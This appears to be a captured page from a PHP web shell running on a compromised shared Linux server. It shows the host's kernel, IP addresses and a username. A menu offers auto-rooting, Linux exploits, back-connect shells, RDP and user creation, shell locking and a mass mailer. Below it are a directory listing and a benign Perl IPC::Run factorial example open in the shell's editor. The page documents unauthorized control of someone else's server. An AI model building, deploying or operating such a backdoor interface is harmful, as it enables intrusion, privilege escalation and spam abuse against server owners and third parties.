Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libipc-run-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
abuse
[ DIR ]
drwxr-xr-x
factorial
1.67
KB
-rw-r--r--
factorial_pipe
864
B
-rw-r--r--
factorial_scalar
781
B
-rw-r--r--
run_daemon
346
B
-rw-r--r--
runsh
1.11
KB
-rw-r--r--
runsu
955
B
-rw-r--r--
synopsis_scripting
602
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : factorial_pipe
#!/usr/bin/perl -w ## Demonstration using a pipe to send input to a child process use strict; use IPC::Run qw( start pump finish ); die "usage: $0 <num>\n\nwhere <num> is a positive integer\n" unless @ARGV; my $i = shift; die "\$i must be > 0, not '$i'" unless $i =~ /^\d+$/ && $i > 0; my $out; my $h = start ['bc'], '<pipe', \*IN, '>', \$out; my $tmp = select IN; $| = 1; select $tmp; print IN "a = i = $i ; i\n"; while () { $out = ''; pump $h until $out =~ s/.*?(\d+)\n/$1/g; print "bc said: $out\n"; if ( $out > $i ) { ## i! is always >i for i > 0 print "result = ", $out, "\n"; close(IN); last; } elsif ( $out == '1' ) { ## End of calculation loop, get bc to output the result print IN "a\n"; } else { print IN "i = i - 1 ; a = a * i ; i\n"; } } finish $h ;
Close
